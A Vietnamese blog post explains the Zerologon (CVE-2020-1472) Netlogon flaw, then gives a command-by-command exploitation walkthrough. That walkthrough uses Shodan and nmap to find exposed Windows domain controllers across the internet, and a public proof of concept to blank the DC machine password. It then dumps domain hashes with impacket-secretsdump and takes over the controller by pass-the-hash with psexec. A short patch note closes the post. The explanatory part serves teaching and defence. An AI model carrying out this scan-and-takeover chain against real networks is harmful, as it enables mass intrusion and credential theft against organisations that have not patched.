- vừa được xem lúc

Tìm hiểu về Zerologon

0 0 34

Người đăng: Bụng Rỗng

Theo Viblo Asia

I. Tìm hiểu Zerologon

Zerologon (CVE-2020-1472) là một lỗ hổng nghiêm trọng ảnh hưởng đến Windows Server - Active Directory. Trong một số trường hợp nhất định, lỗ hổng này có thể cho phép kẻ tấn công bỏ qua xác thực sau đó giành được đặc quyền cấp quản trị viên chỉ trong vài giây - đạt 10 điểm trên thang điểm CVSS

1. Netlogon Remote Protocol (MS-NRPC)

Khi người dùng kết nối với Domain Controller , một tiến trình có tên gọi là Netlogon Remote Protocol giúp xác định và xác thực users - client trước khi họ được cấp quyền truy cập vào network. Mục đích của quá trình này giúp DC xác định, xác thực và tạo thuận lợi cho hàng nghìn người dùng đăng nhập vào máy chủ .

Netlogon chứa một tính năng cho phép quản trị viên hệ thống thay đổi mật khẩu cho những người dùng quên thông tin đăng nhập của họ.

Screenshot_1.png

2. ZeroLogon (CVE-2020-1472)

Zerologon là một lỗ hổng trong giao thức mã hóa của dịch vụ Netlogon.Lỗ hổng cho phép kẻ tấn công tự nhận mình là quản trị viên Domain Controller sau đó thay đổi mật khẩu của chính mình.

Điểm cốt lõi của lỗ hổng nằm ở việc triển khai không tốt hàm ComputeNetlogonCredential của NetLogon. ComputeNetlogonCredential nhận challenge bao gồm 8-bytes đầu vào và mã hóa nó sau đó xuất ra kết quả 8-bytes. Vấn đề nằm ở một lỗ hổng được triển khai trong phương thức AES-CFB8 được áp dụng trong việc chuyển đổi này.

Để sử dung AES-CFB8 một cách an toàn, một "random initialization vector (IV)" phải được tạo ngẫu nhiên cho từng challenge riêng biệt. Tuy nhiên hàm ComputeNetlogonCredential đặt IV thành một giá trị cố định là 16 bytes 0. Điều này dẫn tới một lỗ hổng mật mã, trong đó việc mã hóa 8 zero bytes có thể mang lại bản mã hóa gồm các số 0 với xác suất 1 trên 256 (Do lỗi triển khai này xảy ra đối với 1 trong 256 keys)

Tervoort figured out that because of this implementation error for 1 in 256 keys, applying AES-CFB8 encryption to an all-zero plaintext will result in all-zero ciphertext

qAYScreenshot_1.png

AES-CFB8-encryption.png

NetrServer.jpg

Các giai đoạn khai thác ZeroLogon

1. Gửi Zero byte : Thay vì gửi 8 byte ngẫu nhiên. Hacker sẽ gửi 8 bye 0. Việc này lặp đi lặp lại cho đến khi máy chủ chấp nhận một trong số chúng và bỏ qua quá trình xác thực. Trong trường hợp của ZeroLogon, cần trung bình 256 lần thử gửi để kết nối thành công tới máy chủ

2. Disabling the RPC signing and sealing mechanism

MS-NRPC sử dụng RPC signing và Sealing mechanism để mã hóa cơ chế truyền tải. Thông thường đây là quy trình bắt buộc để truyền dữ liệu, nhưng trong MS-NRPC không bắt buộc và được quản lý bởi client. Điều này có nghĩa là bạn có thể tắt quy trình mã hóa thông qua message header. Do đó kẻ tấn công có thể tùy ý sử dụng các phương thức trong giao thức MS-NRPC.

3. Thay đổi mật khẩu tài khoản

Giai đoạn thứ 3 của việc khai thác lỗ hổng ZeroLogon là thay đổi mật khẩu cho tài khoản của DC bằng tính năng NetrServerPasswordSet trong MS-NRPC. Hacker có thể xóa mật khẩu hiện tại (đặt mật khẩu rỗng) hoặc thay bằng mật khẩu ưa thích.

II. Khai thác

Tìm kiếm kết quả trên internet

Bước 1. Cấu hình Shodan cho công việc recon

shodan init [API_KEY]

Bước 2. Sử dụng Shodan để tìm kiếm các mục tiêu chạy hệ điều hành Windows

shodan search --limit 1000 --fields ip_str "port:445 smb" | tee > ip.list

--limit 1000 : Giới hạn 1000 kết quả đầu tiên

--field ip_str: Chỉ lấy IP

port:445 smb : Query search <Port 445 chỉ mang tính tương đối để xác định hệ điều hành Windows>

Bước 3. Sử dụng nmap để scan ip.list

nmap -p 135,137,139,445 --script smb-os-discovery -oA zero_logon -iL ip.list

CbtScreenshot_2.png

Bước 4. Covert kết quả nmap thu được từ (.xml) sang (.csv)

$ git clone https://github.com/zer010bs/zeroscan
$ cd zeroscan
$ python convert-nmap-zerologon.py /home/kali/zero_logon.xml

U8bScreenshot_3.png

Bước 5. Do kết quả thu được bao gồm WORKGROUPActive Directory. Tiến hành lọc kết quả và convert sang định dạng .csv

python convert-nmap-zerologon.py /home/kali/zero_logon.xml | grep "yes" | awk -F "|" '{print $1"," $4}' > zero_exploit.csv

wG6Screenshot_4.png

Bước 6. Kiểm tra lỗ hổng ZeroLogon trong danh sách

python zerologon_tester-mod.py zero_exploit.csv

Khai thác trên Lab Demo

Trước khi tiến hành demo, mình đã báo cáo cho quản trị viên nắm được, lỗ hổng sau đó đã được khắc phục

Bước 7. Khai thác

Sử dụng POC của Risksense, set password về trạng thái rỗng

  • Set empty password
$ git clone https://github.com/risksense/zerologon
$ cd zerologon
$ python set_empty_pw.py VOLS ip_bi_anh_huong
[python set_empty_pw.py DC_NAME IP]

Thành công!, ta tiến hành dump hash-password với impacket-ticket

  • Dump Hash Password
impacket-secretsdump -just-dc veltech/VOLS\_@.com_bi_anh_huong

Sử dụng hash đã dump được, tiến hành cuộc tấn công Pass-The-Hash

  • Pass the Hash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:782efc6e0bbff4bd67266a7337cca7bf _@.com_bi_anh_huong

Chiếm quyền điều khiển DC thành công !

III. Cách khắc phục

Zerologon là một lỗ hổng không quá khó để hiểu, cũng như dễ dàng để tấn công. Tuy nhiên việc khắc phục nó cũng rất đơn giản, chúng ta chỉ cần update lại hệ thống - mọi thứ sẽ an toàn (bản PATCH https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472)

Bình luận

Bài viết tương tự

- vừa được xem lúc

Linux Hardening and System Auditing (P1)

. Ngày nay, các hệ thống Linux được sử dụng trong suốt quá trình tính toán, từ các hệ thống nhúng đến hầu như tất cả các siêu máy tính, đồng thời đảm bảo một vị trí quan trọng trong các hệ thống máy chủ trên toàn thế giới. Linux đem lại cho người dùng khả năng tùy biến cao, sự ổn định và độ tin cậy

0 0 43

- vừa được xem lúc

Các kĩ thuật hack cơ bản lập trình viên nên biết - Phần 1

Mở đầu. Anh em theo cái nghề dev này, có lẽ một nửa là do mê game, nửa còn lại là do các ảnh "hắc cơ" trên phim lừa gạt , còn một nhóm nhỏ yêu ngành yêu nghề tôi không nói.

0 0 72

- vừa được xem lúc

CRSF attack

Giới thiệu. CSRF là phương thức tấn công bằng cách hacker lấy quyền xác thực của một user để gửi request mà người dùng đó không mong muốn.

0 0 40

- vừa được xem lúc

Các nguyên tắc bảo mật cơ bản trên Amazon Web Services (P1)

Lời mở đầu. Từ lưu trữ dữ liệu, chia sẻ file, truy cập từ xa, đến sao lưu từ xa – điện toán đám mây là một nhân tố quan trọng trong CNTT hiện đại.

0 0 51

- vừa được xem lúc

What Is Session Fixation?

Session Fixation là một kỹ thuật tấn công web. Kẻ tấn công lừa người dùng sử dụng session ID đặc biệt.

0 0 46

- vừa được xem lúc

Tổng quan một số kỹ thuật khai thác lỗ hổng bảo mật Web (P1)

Trong thời đại công nghệ phát triển hiện nay, việc đảm bảo an ninh thông tin trên không gian mạng đang là vấn đề dành được nhiều sự quan tâm. Nguy cơ mất an toàn thông tin đang là mối đe dọa lớn và ngày càng gia tăng đối với an ninh quốc gia.

0 0 95